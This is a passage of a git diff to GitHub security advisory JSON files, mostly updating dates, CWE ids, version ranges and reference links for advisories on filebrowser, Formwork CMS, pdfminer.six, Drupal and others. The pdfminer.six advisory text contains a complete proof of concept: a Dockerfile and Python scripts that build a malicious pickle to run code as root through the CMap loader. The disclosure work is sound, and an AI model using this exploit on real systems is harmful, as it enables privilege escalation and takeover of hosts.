malicious actors can disrupt business operations by systematically removing shared files and links. This leads to denial of service for legitimate users, potential data loss in collaborative environments, and breach of data confidentiality agreements. In organizational settings, this could affect critical file sharing for projects, presentations, or document collaboration.", "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" + }, { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N" } ], "affected": [ - { - "package": { - "ecosystem": "Go", - "name": "github.com/filebrowser/filebrowser" - }, - "ranges": [ - { - "type": "ECOSYSTEM", - "events": [ - { - "introduced": "0" - } - ] - } - ], - "database_specific": { - "last_known_affected_version_range": "< 2.45.1" - } - }, { "package": { "ecosystem": "Go", @@ -74,7 +59,8 @@ ], "database_specific": { "cwe_ids": [ - "CWE-285" + "CWE-285", + "CWE-639" ], "severity": "HIGH", "github_reviewed": true, diff --git a/advisories/github-reviewed/2025/11/GHSA-7j46-f57w-76pj/GHSA-7j46-f57w-76pj.json b/advisories/github-reviewed/2025/11/GHSA-7j46-f57w-76pj/GHSA-7j46-f57w-76pj.json index 766724202ec11..759efb08ac5b7 100644 --- a/advisories/github-reviewed/2025/11/GHSA-7j46-f57w-76pj/GHSA-7j46-f57w-76pj.json +++ b/advisories/github-reviewed/2025/11/GHSA-7j46-f57w-76pj/GHSA-7j46-f57w-76pj.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-7j46-f57w-76pj", - "modified": "2025-11-27T09:01:07Z", + "modified": "2026-02-18T23:48:02Z", "published": "2025-11-24T22:13:32Z", "aliases": [ "CVE-2025-65956" ], "summary": "Formwork CMS has Stored Cross-Site Scripting Vulnerebility in Blog Tags", - "details": "### Summary\nInserting unsanitized data into the blog tag field in Formwork CMS results in stored cross‑site scripting (XSS).\nAny user with credentials to the Formwork CMS who accesses or edits an affected blog post will have attacker‑controlled script executed in their browser. Because the issue is persistent and impacts privileged administrative workflows, the severity is elevated.\n\n### Details\nFormwork CMS fails to properly sanitize data inserted into tags, before saving them and rendering them into the edit blog interface. When a specially crafted tag becomes saved as a tag into the system, it is unable to be removed. Any attempt to remove the tag from the affected post, causes the XSS to trigger once again.\n\nAdditionally, once the malicious tag is present, managing standard tags becomes impossible. This is due to script execution on attempted modification. This leads to a form of interface lockout where the payload continually reinserts itself due to the stored, unsafe rendering.\n\n### PoC\n1. Log into the CMS as any user.\n2. Select \"pages\"\n\"image\"\n\n3. Select any page utilizing the \"Blog Post\" template. In this scenario I use the default \"Coffee, Mornings and Ideas\" page.\n\"image\"\n\n4. Insert the malicious payload:\n\"image\"\n\n5. Select Save.\n\"image\"\n\n\n### Impact\nThis is a stored cross‑site scripting (XSS) vulnerability.\n\nThis impacts all users who access the affected blog post’s edit page.", + "details": "### Summary\nInserting unsanitized data into the blog tag field in Formwork CMS results in stored cross‑site scripting (XSS).\nAny user with credentials to the Formwork CMS who accesses or edits an affected blog post will have attacker‑controlled script executed in their browser. Because the issue is persistent and impacts privileged administrative workflows, the severity is elevated.\n\n### Details\nFormwork CMS fails to properly sanitize data inserted into tags, before saving them and rendering them into the edit blog interface. When a specially crafted tag becomes saved as a tag into the system, it is unable to be removed. Any attempt to remove the tag from the affected post, causes the XSS to trigger once again.\n\nAdditionally, once the malicious tag is present, managing standard tags becomes impossible. This is due to script execution on attempted modification. This leads to a form of interface lockout where the payload continually reinserts itself due to the stored, unsafe rendering.\n\n### Impact\nThis is a stored cross‑site scripting (XSS) vulnerability.\n\nThis impacts all users who access the affected blog post’s edit page.\n\n### Patches\n[Formwork 2.2.0](https://github.com/getformwork/formwork/releases/tag/2.2.0) ensures proper escaping of user input in tag fields.", "severity": [ { "type": "CVSS_V3", diff --git a/advisories/github-reviewed/2025/11/GHSA-7p63-w6x9-6gr7/GHSA-7p63-w6x9-6gr7.json b/advisories/github-reviewed/2025/11/GHSA-7p63-w6x9-6gr7/GHSA-7p63-w6x9-6gr7.json index 281b64782af51..79fb9103fd3fd 100644 --- a/advisories/github-reviewed/2025/11/GHSA-7p63-w6x9-6gr7/GHSA-7p63-w6x9-6gr7.json +++ b/advisories/github-reviewed/2025/11/GHSA-7p63-w6x9-6gr7/GHSA-7p63-w6x9-6gr7.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-7p63-w6x9-6gr7", - "modified": "2025-11-19T15:32:28Z", + "modified": "2026-02-05T15:43:36Z", "published": "2025-11-18T18:32:51Z", "aliases": [ "CVE-2025-12383" @@ -138,6 +138,7 @@ ], "database_specific": { "cwe_ids": [ + "CWE-296", "CWE-362" ], "severity": "CRITICAL", diff --git a/advisories/github-reviewed/2025/11/GHSA-8wf8-frjg-xv74/GHSA-8wf8-frjg-xv74.json b/advisories/github-reviewed/2025/11/GHSA-8wf8-frjg-xv74/GHSA-8wf8-frjg-xv74.json index 9a17a205d5cc5..ec2169b07df47 100644 --- a/advisories/github-reviewed/2025/11/GHSA-8wf8-frjg-xv74/GHSA-8wf8-frjg-xv74.json +++ b/advisories/github-reviewed/2025/11/GHSA-8wf8-frjg-xv74/GHSA-8wf8-frjg-xv74.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-8wf8-frjg-xv74", - "modified": "2025-11-26T22:02:07Z", + "modified": "2026-01-02T14:39:16Z", "published": "2025-11-17T06:30:15Z", "aliases": [ "CVE-2025-13265" @@ -50,7 +50,7 @@ }, { "type": "PACKAGE", - "url": "https://github.com/lsfusion/platformx" + "url": "https://github.com/lsfusion/platform" }, { "type": "WEB", diff --git a/advisories/github-reviewed/2025/11/GHSA-f83h-ghpp-7wcc/GHSA-f83h-ghpp-7wcc.json b/advisories/github-reviewed/2025/11/GHSA-f83h-ghpp-7wcc/GHSA-f83h-ghpp-7wcc.json index 830d823eda96d..31a3cb45f6b6a 100644 --- a/advisories/github-reviewed/2025/11/GHSA-f83h-ghpp-7wcc/GHSA-f83h-ghpp-7wcc.json +++ b/advisories/github-reviewed/2025/11/GHSA-f83h-ghpp-7wcc/GHSA-f83h-ghpp-7wcc.json @@ -1,9 +1,11 @@ { "schema_version": "1.4.0", "id": "GHSA-f83h-ghpp-7wcc", - "modified": "2025-11-15T02:27:59Z", + "modified": "2026-02-04T16:49:50Z", "published": "2025-11-07T23:17:05Z", - "aliases": [], + "aliases": [ + "CVE-2025-70559" + ], "summary": "Insecure Deserialization (pickle) in pdfminer.six CMap Loader — Local Privesc", "details": "### 🚀 Overview\n\nThis report **demonstrates a real-world privilege escalation** vulnerability in [pdfminer.six](https://github.com/pdfminer/pdfminer.six) due to unsafe usage of Python's `pickle` module for CMap file loading.\nIt shows how a low-privileged user can gain root access (or escalate to any service account) by exploiting insecure deserialization in a typical multi-user or server environment.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 🚨 Special Note\n\nThis advisory addresses a distinct vulnerability from [GHSA-wf5f-4jwr-ppcp (CVE-2025-64512)](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp).\n\nWhile the previous CVE claims to mitigate issues related to unsafe deserialization, the patch introduced in commit [b808ee05dd7f0c8ea8ec34bdf394d40e63501086](https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086) does not address the vulnerability reported here.\n\nBased on testing performed against the latest version of the library ([comparison view](https://github.com/pdfminer/pdfminer.six/compare/20250506...20251107)), the issue remains exploitable through local privilege escalation due to continued unsafe use of pickle files. The **Dockerfile** is hence modified to run test against this claim.\n\nThis demonstrates that the patch for **CVE-2025-64512** is incomplete: the vulnerability remains exploitable. This advisory therefore documents a distinct, independently fixable flaw. A correct remediation must remove the dependency on pickle files (or otherwise eliminate unsafe deserialization) and replace it with a safe, auditable data-handling approach so the library can operate normally without relying on ```pickle```\n\n## 📚 Table of Contents\n\n- [🔍 Background](#-background)\n- [🐍 Vulnerability Description](#-vulnerability-description)\n- [🎭 Demo Scenario](#-demo-scenario)\n- [🧨 Technical Details](#-technical-details)\n- [🔧 Setup and Usage](#-setup-and-usage)\n- [📝 Step-by-step Walkthrough](#-step-by-step-walkthrough)\n- [🛡️ Security Standards & References](#-security-standards--references)\n---\n\n## 🔍 Background\n\n**pdfminer.six** is a popular Python library for extracting text and information from PDF files. It supports CJK (Chinese, Japanese, Korean) fonts via external CMap files, which it loads from disk using Python's `pickle` module.\n\n> 🐍 **Security Issue:**\n> If the CMap search path (`CMAP_PATH` or default directories) includes a world-writable or user-writable directory, an attacker can place a malicious `.pickle.gz` file that will be loaded and deserialized by pdfminer.six, leading to arbitrary code execution.\n\n---\n\n### 🐍 Vulnerability Description\n\n- **Component:** pdfminer.six CMap loading (`pdfminer/cmapdb.py`)\n- **Issue:** Loads and deserializes `.pickle.gz` files using Python’s `pickle` module, which is unsafe for untrusted data.\n- **Exploitability:** If a low-privileged user can write to any directory in `CMAP_PATH`, they can execute code as the user running pdfminer—potentially root or a privileged service.\n- **Impact:** Full code execution as the service user, privilege escalation from user to root, persistence, and potential lateral movement.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n### 🎭 Demo Scenario\n\n**Environment:**\n- 🐧 Alpine Linux (Docker container)\n- 👨‍💻 Two users:\n - `user1` (attacker: low-privilege)\n - `root` (victim: runs privileged PDF-processing script)\n- 🗂️ Shared writable directory: `/tmp/uploads`\n- 🛣️ `CMAP_PATH` set to `/tmp/uploads` for the privileged script\n- 📦 pdfminer.six installed system-wide\n\n**Attack Flow:**\n1. 🕵️‍♂️ `user1` creates a malicious CMap file (`Evil.pickle.gz`) in `/tmp/uploads`.\n2. 👑 The privileged service (`root`) processes a PDF or calls `get_cmap(\"Evil\")`.\n3. 💣 The malicious pickle is deserialized, running arbitrary code as root.\n4. 🎯 The exploit creates a flag file in `/root/pwnedByPdfminer` as proof.\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n### 🧨 Technical Details\n\n- **Vulnerability Type:** Insecure deserialization of untrusted data using Python's `pickle`\n- **Attack Prerequisites:** Attacker can write to a directory included in `CMAP_PATH`\n- **Vulnerable Line:**\n ```python\n return type(str(name), (), pickle.loads(gzfile.read()))\n ```\n *In `pdfminer/cmapdb.py`'s `_load_data` method*\n- https://github.com/pdfminer/pdfminer.six/blob/20250506/pdfminer/cmapdb.py#L246\n- **Proof of Concept:** See `createEvilPickle.py`, `evilmod.py`, and `processPdf.py`\n\n**Exploit Chain:**\n- Attacker places a malicious `.pickle.gz` file in the CMap search path.\n- Privileged process (e.g., root) loads a CMap, triggering pickle deserialization.\n- Arbitrary code executes with the privilege of the process (root/service account).\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 🔧 Setup and Usage\n\n### 📁 Files\n#### Dockerfile\n```yml\nFROM python:3.11-alpine\n\nARG PM_COMMIT=b808ee05dd7f0c8ea8ec34bdf394d40e63501086\n\n# Install git and build tooling\nRUN apk add --no-cache git build-base\n\nWORKDIR /opt\n\n# Clone pdfminer.six and check out the specific commit, then install from source\nRUN git clone https://github.com/pdfminer/pdfminer.six.git && \\\n cd pdfminer.six && \\\n git fetch --all && \\\n git checkout ${PM_COMMIT} && \\\n pip install --no-cache-dir -e .\n\n# App working directory for PoC\nWORKDIR /app\n\n# Create low-privilege user and uploads dir\nRUN adduser -D user1 && \\\n mkdir -p /tmp/uploads && \\\n chown user1:user1 /tmp/uploads && \\\n chmod 1777 /tmp/uploads\n\n# Copy PoC files\nCOPY evilmod.py /app/evilmod.py\nCOPY createEvilPickle.py /app/createEvilPickle.py\nCOPY processPDF.py /app/processPDF.py\n\nENV CMAP_PATH=/tmp/uploads\nENV PYTHONUNBUFFERED=1\n\n# Keep the container running in background so you can exec into it anytime.\nCMD [\"tail\", \"-f\", \"/dev/null\"]\n\n```\n\n#### evilmod.py\n```python\nimport os\n\ndef evilFunc():\n with open(\"/root/pwnedByPdfminer\", \"w\") as f:\n f.write(\"ROOTED by pdfminer pickle RCE\\n\")\n return {\"CODE2CID\": {}, \"IS_VERTICAL\": False}\n```\n#### createEvilPickle.py\n```python\nimport pickle\nimport gzip\nfrom evilmod import evilFunc\n\nclass Evil:\n def __reduce__(self):\n return (evilFunc, ())\n\npayload = pickle.dumps(Evil())\nwith gzip.open(\"/tmp/uploads/Evil.pickle.gz\", \"wb\") as f:\n f.write(payload)\n\nprint(\"Malicious pickle created at /tmp/uploads/Evil.pickle.gz\")\n```\n#### processPDF.py\n```python\nimport os\nfrom pdfminer.cmapdb import CMapDB\n\nos.environ[\"CMAP_PATH\"] = \"/tmp/uploads\"\n\nCMapDB.get_cmap(\"Evil\")\n\nprint(\"CMap loaded. If vulnerable, /root/pwnedByPdfminer will be created.\")\n```\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n### 1️⃣ Build and start the demo container\n\n```bash\ndocker build -t pdfminer-priv-esc-demo .\ndocker run --rm -it --name pdfminer-demo pdfminer-priv-esc-democ\n```\n\n### 2️⃣ In the container, open two shells in parallel (or switch users in one):\n\n#### 🕵️‍♂️ Shell 1 (Attacker: user1)\n```bash\nsu user1\ncd /app\npython createEvilPickle.py\n# ✅ Confirms: /tmp/uploads/Evil.pickle.gz is created and owned by user1\n```\n\n#### 👑 Shell 2 (Victim: root)\n```bash\ncd /app\npython processPdf.py\n# 🎯 Output: If vulnerable, /root/pwnedByPdfminer will be created\n```\n\n### 3️⃣ Proof of escalation\n\n```bash\ncat /root/pwnedByPdfminer\n# 🏴 Output: ROOTED by pdfminer pickle RCE\n```\n\n\"proof-of-exploit\"\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 📝 Step-by-step Walkthrough\n\n1. **user1** uses `createEvilPickle.py` to craft and place a malicious CMap pickle in a shared upload directory.\n2. The **root** user runs a typical PDF-processing script, which loads CMap files from that directory.\n3. The exploit triggers, running arbitrary code as root.\n4. The attacker now has proof of code execution as root (and, in a real attack, could escalate further).\n\n![line](https://user-images.githubusercontent.com/74038190/212284100-561aa473-3905-4a80-b561-0d28506553ee.gif)\n\n## 🛡️ Security Standards & References\n\n- **CVSS (Common Vulnerability Scoring System):**\n - **Base Score:** 7.8 (High)\n - **Vector:** `AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\n- **OWASP Top 10:**\n - [A08:2021 - Software and Data Integrity Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/)\n - [A03:2021 - Injection](https://owasp.org/Top10/A03_2021-Injection/) (by analogy, as it's code injection via deserialization)\n\n- **MITRE CWE References:**\n - [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n - [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)\n\n- **MITRE ATT&CK Techniques:**\n - [T1055: Process Injection](https://attack.mitre.org/techniques/T1055/)\n - [T1548: Abuse Elevation Control Mechanism](https://attack.mitre.org/techniques/T1548/)", "severity": [ @@ -26,7 +28,7 @@ "introduced": "0" }, { - "last_affected": "20251107" + "fixed": "20251230" } ] } @@ -38,6 +40,10 @@ "type": "WEB", "url": "https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-f83h-ghpp-7wcc" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-70559" + }, { "type": "WEB", "url": "https://github.com/pdfminer/pdfminer.six/commit/b808ee05dd7f0c8ea8ec34bdf394d40e63501086" diff --git a/advisories/github-reviewed/2025/11/GHSA-g9gq-3pfx-2gw2/GHSA-g9gq-3pfx-2gw2.json b/advisories/github-reviewed/2025/11/GHSA-g9gq-3pfx-2gw2/GHSA-g9gq-3pfx-2gw2.json index edf470cebac4c..1efd881946f20 100644 --- a/advisories/github-reviewed/2025/11/GHSA-g9gq-3pfx-2gw2/GHSA-g9gq-3pfx-2gw2.json +++ b/advisories/github-reviewed/2025/11/GHSA-g9gq-3pfx-2gw2/GHSA-g9gq-3pfx-2gw2.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-g9gq-3pfx-2gw2", - "modified": "2025-11-27T09:01:33Z", + "modified": "2026-01-06T15:26:23Z", "published": "2025-11-25T22:10:17Z", "aliases": [ "CVE-2025-66021" @@ -20,6 +20,19 @@ "ecosystem": "Maven", "name": "com.googlecode.owasp-java-html-sanitizer:owasp-java-html-sanitizer" }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "20240325.1" + }, + { + "fixed": "20260101.1" + } + ] + } + ], "versions": [ "20240325.1" ] @@ -34,6 +47,22 @@ "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66021" }, + { + "type": "WEB", + "url": "https://github.com/OWASP/java-html-sanitizer/issues/363" + }, + { + "type": "WEB", + "url": "https://github.com/OWASP/java-html-sanitizer/commit/4149cf02ba84db13e8e9d7ee1b01b3f47238e072" + }, + { + "type": "WEB", + "url": "https://github.com/OWASP/java-html-sanitizer/commit/b98cdf1cd5e156a6259b01aa8cdc7372c6efde1e" + }, + { + "type": "WEB", + "url": "https://github.com/OWASP/java-html-sanitizer/commit/d6e0463ed3b48777ecd187913ffdbe767508ff45" + }, { "type": "PACKAGE", "url": "https://github.com/OWASP/java-html-sanitizer" diff --git a/advisories/github-reviewed/2025/11/GHSA-m449-cwjh-6pw7/GHSA-m449-cwjh-6pw7.json b/advisories/github-reviewed/2025/11/GHSA-m449-cwjh-6pw7/GHSA-m449-cwjh-6pw7.json index 98c343a4df305..0640007d9ecca 100644 --- a/advisories/github-reviewed/2025/11/GHSA-m449-cwjh-6pw7/GHSA-m449-cwjh-6pw7.json +++ b/advisories/github-reviewed/2025/11/GHSA-m449-cwjh-6pw7/GHSA-m449-cwjh-6pw7.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-m449-cwjh-6pw7", - "modified": "2025-11-27T08:15:59Z", + "modified": "2026-01-21T16:37:13Z", "published": "2025-11-24T22:42:07Z", "aliases": [ "CVE-2025-66019" @@ -52,6 +52,10 @@ "type": "WEB", "url": "https://github.com/py-pdf/pypdf/commit/96186725e5e6f237129a58a97cd19204a9ce40b2" }, + { + "type": "WEB", + "url": "https://aydinnyunus.github.io/2025/12/20/cve-2025-66019-pypdf-lzw-dos" + }, { "type": "PACKAGE", "url": "https://github.com/py-pdf/pypdf" diff --git a/advisories/github-reviewed/2025/11/GHSA-mh29-5h37-fv8m/GHSA-mh29-5h37-fv8m.json b/advisories/github-reviewed/2025/11/GHSA-mh29-5h37-fv8m/GHSA-mh29-5h37-fv8m.json index aa9e05f06e96e..f5912c2a02acf 100644 --- a/advisories/github-reviewed/2025/11/GHSA-mh29-5h37-fv8m/GHSA-mh29-5h37-fv8m.json +++ b/advisories/github-reviewed/2025/11/GHSA-mh29-5h37-fv8m/GHSA-mh29-5h37-fv8m.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-mh29-5h37-fv8m", - "modified": "2025-11-17T15:20:43Z", + "modified": "2026-01-31T03:32:42Z", "published": "2025-11-14T14:29:48Z", "aliases": [ "CVE-2025-64718" @@ -63,6 +63,10 @@ "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64718" }, + { + "type": "WEB", + "url": "https://github.com/nodeca/js-yaml/issues/730#issuecomment-3549635876" + }, { "type": "WEB", "url": "https://github.com/nodeca/js-yaml/commit/383665ff4248ec2192d1274e934462bb30426879" @@ -71,6 +75,10 @@ "type": "WEB", "url": "https://github.com/nodeca/js-yaml/commit/5278870a17454fe8621dbd8c445c412529525266" }, + { + "type": "ADVISORY", + "url": "https://github.com/advisories/GHSA-mh29-5h37-fv8m" + }, { "type": "PACKAGE", "url": "https://github.com/nodeca/js-yaml" diff --git a/advisories/github-reviewed/2025/11/GHSA-mhpg-hpj5-73r2/GHSA-mhpg-hpj5-73r2.json b/advisories/github-reviewed/2025/11/GHSA-mhpg-hpj5-73r2/GHSA-mhpg-hpj5-73r2.json index fbd29cc525e16..9196989278bc3 100644 --- a/advisories/github-reviewed/2025/11/GHSA-mhpg-hpj5-73r2/GHSA-mhpg-hpj5-73r2.json +++ b/advisories/github-reviewed/2025/11/GHSA-mhpg-hpj5-73r2/GHSA-mhpg-hpj5-73r2.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-mhpg-hpj5-73r2", - "modified": "2025-11-19T14:23:33Z", + "modified": "2026-01-08T21:24:14Z", "published": "2025-11-18T18:32:53Z", "aliases": [ "CVE-2025-13083" ], "summary": "Drupal core allows Exploiting Incorrectly Configured Access Control Security Levels", - "details": "Use of Web Browser Cache Containing Sensitive Information vulnerability in Drupal Drupal core allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects Drupal core: from 8.0.0 before 10.4.9, from 10.5.0 before 10.5.6, from 11.0.0 before 11.1.9, from 11.2.0 before 11.2.8.", + "details": "Use of Web Browser Cache Containing Sensitive Information vulnerability in Drupal Drupal core allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Drupal core: from 8.0.0 before 10.4.9, from 10.5.0 before 10.5.6, from 11.0.0 before 11.1.9, from 11.2.0 before 11.2.8, from 7.0 before 7.103.", "severity": [ { "type": "CVSS_V3", @@ -94,6 +94,25 @@ ] } ] + }, + { + "package": { + "ecosystem": "Packagist", + "name": "drupal/core" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "7.0" + }, + { + "fixed": "7.103" + } + ] + } + ] } ], "references": [ diff --git a/advisories/github-reviewed/2025/11/GHSA-mr34-8733-grr2/GHSA-mr34-8733-grr2.json b/advisories/github-reviewed/2025/11/GHSA-mr34-8733-grr2/GHSA-mr34-8733-grr2.json index b6c68159975b1..35112d3bb5795 100644 --- a/advisories/github-reviewed/2025/11/GHSA-mr34-8733-grr2/GHSA-mr34-8733-grr2.json +++ b/advisories/github-reviewed/2025/11/GHSA-mr34-8733-grr2/GHSA-mr34-8733-grr2.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-mr34-8733-grr2", - "modified": "2025-11-14T22:09:54Z", + "modified": "2026-03-12T11:00:01Z", "published": "2025-11-14T22:09:54Z", "aliases": [ "CVE-2024-21635" @@ -28,11 +28,14 @@ "introduced": "0" }, { - "last_affected": "0.18.1" + "fixed": "0.18.2" } ] } - ] + ], + "database_specific": { + "last_known_affected_version_range": "<= 0.18.1" + } } ], "references": [ @@ -48,6 +51,10 @@ "type": "PACKAGE", "url": "https://github.com/usememos/memos" }, + { + "type": "WEB", + "url": "https://github.com/usememos/memos/releases/tag/v0.18.2" + }, { "type": "WEB", "url": "https://owasp.org/Top10/A04_2021-Insecure_Design" diff --git a/advisories/github-reviewed/2025/11/GHSA-mrw7-hf4f-83pf/GHSA-mrw7-hf4f-83pf.json b/advisories/github-reviewed/2025/11/GHSA-mrw7-hf4f-83pf/GHSA-mrw7-hf4f-83pf.json index 3110e833bfe2f..d0bde4023cd6f 100644 --- a/advisories/github-reviewed/2025/11/GHSA-mrw7-hf4f-83pf/GHSA-mrw7-hf4f-83pf.json +++ b/advisories/github-reviewed/2025/11/GHSA-mrw7-hf4f-83pf/GHSA-mrw7-hf4f-83pf.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-mrw7-hf4f-83pf", - "modified": "2025-12-16T23:23:00Z", + "modified": "2026-01-08T21:20:58Z", "published": "2025-11-20T20:59:34Z", "aliases": [ "CVE-2025-62164" diff --git a/advisories/github-reviewed/2025/11/GHSA-mw3v-mmfw-3x2g/GHSA-mw3v-mmfw-3x2g.json b/advisories/github-reviewed/2025/11/GHSA-mw3v-mmfw-3x2g/GHSA-mw3v-mmfw-3x2g.json index 9a2964fdb5a80..12dcbca541839 100644 --- a/advisories/github-reviewed/2025/11/GHSA-mw3v-mmfw-3x2g/GHSA-mw3v-mmfw-3x2g.json +++ b/advisories/github-reviewed/2025/11/GHSA-mw3v-mmfw-3x2g/GHSA-mw3v-mmfw-3x2g.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-mw3v-mmfw-3x2g", - "modified": "2025-12-16T23:22:15Z", + "modified": "2026-01-22T13:50:34Z", "published": "2025-11-25T21:32:07Z", "aliases": [ "CVE-2025-9624" @@ -63,6 +63,10 @@ "type": "WEB", "url": "https://github.com/opensearch-project/OpenSearch/pull/19491" }, + { + "type": "WEB", + "url": "https://caverav.cl/posts/opensearch-dos/opensearch-dos" + }, { "type": "WEB", "url": "https://fluidattacks.com/advisories/chick" diff --git a/advisories/github-reviewed/2025/11/GHSA-mwcc-7vpp-xmv9/GHSA-mwcc-7vpp-xmv9.json b/advisories/github-reviewed/2025/11/GHSA-mwcc-7vpp-xmv9/GHSA-mwcc-7vpp-xmv9.json index 5db9d7e8b1123..63ecac8091aab 100644 --- a/advisories/github-reviewed/2025/11/GHSA-mwcc-7vpp-xmv9/GHSA-mwcc-7vpp-xmv9.json +++ b/advisories/github-reviewed/2025/11/GHSA-mwcc-7vpp-xmv9/GHSA-mwcc-7vpp-xmv9.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-mwcc-7vpp-xmv9", - "modified": "2025-11-19T18:54:37Z", + "modified": "2026-01-14T21:34:03Z", "published": "2025-11-19T00:31:24Z", "aliases": [ "CVE-2025-12119" @@ -67,6 +67,10 @@ { "type": "WEB", "url": "https://jira.mongodb.org/browse/PHPC-2637" + }, + { + "type": "WEB", + "url": "https://lists.debian.org/debian-lts-announce/2026/01/msg00009.html" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/11/GHSA-v7r8-8p5c-h4xw/GHSA-v7r8-8p5c-h4xw.json b/advisories/github-reviewed/2025/11/GHSA-v7r8-8p5c-h4xw/GHSA-v7r8-8p5c-h4xw.json index 105e793150d0b..6432402a0da21 100644 --- a/advisories/github-reviewed/2025/11/GHSA-v7r8-8p5c-h4xw/GHSA-v7r8-8p5c-h4xw.json +++ b/advisories/github-reviewed/2025/11/GHSA-v7r8-8p5c-h4xw/GHSA-v7r8-8p5c-h4xw.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-v7r8-8p5c-h4xw", - "modified": "2025-11-19T14:22:45Z", + "modified": "2026-01-09T14:35:26Z", "published": "2025-11-18T17:42:53Z", "aliases": [ "CVE-2025-54990" diff --git a/advisories/github-reviewed/2025/11/GHSA-vghf-hv5q-vc2g/GHSA-vghf-hv5q-vc2g.json b/advisories/github-reviewed/2025/11/GHSA-vghf-hv5q-vc2g/GHSA-vghf-hv5q-vc2g.json index 580d586c71baa..638de3bbcfd0f 100644 --- a/advisories/github-reviewed/2025/11/GHSA-vghf-hv5q-vc2g/GHSA-vghf-hv5q-vc2g.json +++ b/advisories/github-reviewed/2025/11/GHSA-vghf-hv5q-vc2g/GHSA-vghf-hv5q-vc2g.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-vghf-hv5q-vc2g", - "modified": "2025-12-02T16:51:42Z", + "modified": "2026-01-31T03:33:13Z", "published": "2025-11-27T06:31:25Z", "aliases": [ "CVE-2025-12758" @@ -63,10 +63,15 @@ { "type": "WEB", "url": "https://security.snyk.io/vuln/SNYK-JS-VALIDATOR-13653476" + }, + { + "type": "WEB", + "url": "http://seclists.org/fulldisclosure/2026/Jan/27" } ], "database_specific": { "cwe_ids": [ + "CWE-172", "CWE-792" ], "severity": "HIGH", diff --git a/advisories/github-reviewed/2025/11/GHSA-vqf4-7m7x-wgfc/GHSA-vqf4-7m7x-wgfc.json b/advisories/github-reviewed/2025/11/GHSA-vqf4-7m7x-wgfc/GHSA-vqf4-7m7x-wgfc.json index f529a2af71c60..0b1c6efeea224 100644 --- a/advisories/github-reviewed/2025/11/GHSA-vqf4-7m7x-wgfc/GHSA-vqf4-7m7x-wgfc.json +++ b/advisories/github-reviewed/2025/11/GHSA-vqf4-7m7x-wgfc/GHSA-vqf4-7m7x-wgfc.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-vqf4-7m7x-wgfc", - "modified": "2025-12-03T14:00:28Z", + "modified": "2025-12-31T22:00:12Z", "published": "2025-11-28T18:30:23Z", "aliases": [ "CVE-2025-12183" @@ -108,6 +108,14 @@ { "type": "WEB", "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-12183" + }, + { + "type": "WEB", + "url": "https://www.sonatype.com/security-advisories/cve-2025-12183" + }, + { + "type": "WEB", + "url": "http://www.openwall.com/lists/oss-security/2025/12/01/5" } ], "database_specific": { diff --git a/advisories/github-reviewed/2025/11/GHSA-wf5f-4jwr-ppcp/GHSA-wf5f-4jwr-ppcp.json b/advisories/github-reviewed/2025/11/GHSA-wf5f-4jwr-ppcp/GHSA-wf5f-4jwr-ppcp.json index 23d711e02f4d5..90837e47c6ff0 100644 --- a/advisories/github-reviewed/2025/11/GHSA-wf5f-4jwr-ppcp/GHSA-wf5f-4jwr-ppcp.json +++ b/advisories/github-reviewed/2025/11/GHSA-wf5f-4jwr-ppcp/GHSA-wf5f-4jwr-ppcp.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-wf5f-4jwr-ppcp", - "modified": "2025-11-19T03:31:06Z", + "modified": "2026-01-09T00:30:27Z", "published": "2025-11-07T20:52:24Z", "aliases": [ "CVE-2025-64512" @@ -59,6 